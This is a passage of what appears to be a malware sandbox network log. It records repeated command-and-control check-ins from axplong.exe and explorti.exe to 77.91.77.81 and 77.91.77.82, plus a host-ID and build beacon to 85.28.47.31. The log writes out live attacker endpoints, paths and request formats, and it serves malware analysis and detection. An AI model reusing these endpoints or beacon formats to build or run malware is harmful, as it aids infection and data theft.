Jul 24, 2024 02:40:32.570851088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49917	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:32.718380928 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:33.438076973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:33.438915968 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:33.662050009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49918	85.28.47.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:32.745311022 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:40:33.354298115 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:40:33.356107950 CEST	408	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI Host: 85.28.47.31 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="build"sila------IEHDBGDHDAECBGDHJKFI--
Jul 24, 2024 02:40:33.534287930 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49919	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:33.615035057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:34.327981949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:34.330197096 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:34.552476883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49920	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:33.801270962 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:34.514909983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:34.515650034 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:34.994987011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 24, 2024 02:40:34.996341944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49922	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:34.686167002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:35.395181894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:35.399669886 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:35.628055096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49923	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:35.106149912 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:35.808012009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:35.808697939 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:36.033170938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49924	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:35.737034082 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:36.458914995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:36.459676981 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:36.690984964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49925	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:36.155771017 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:36.885893106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:36.886712074 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:37.130450010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49926	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:36.802014112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:37.535279036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:37.536736965 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:37.765638113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49927	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:37.248018026 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:37.956440926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:37.957102060 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:38.177459955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49928	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:37.873991013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:38.586483955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:38.587299109 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:38.848045111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49929	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:38.289865971 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:39.063060045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:39.063901901 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:39.297861099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49930	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:38.970061064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:39.728308916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
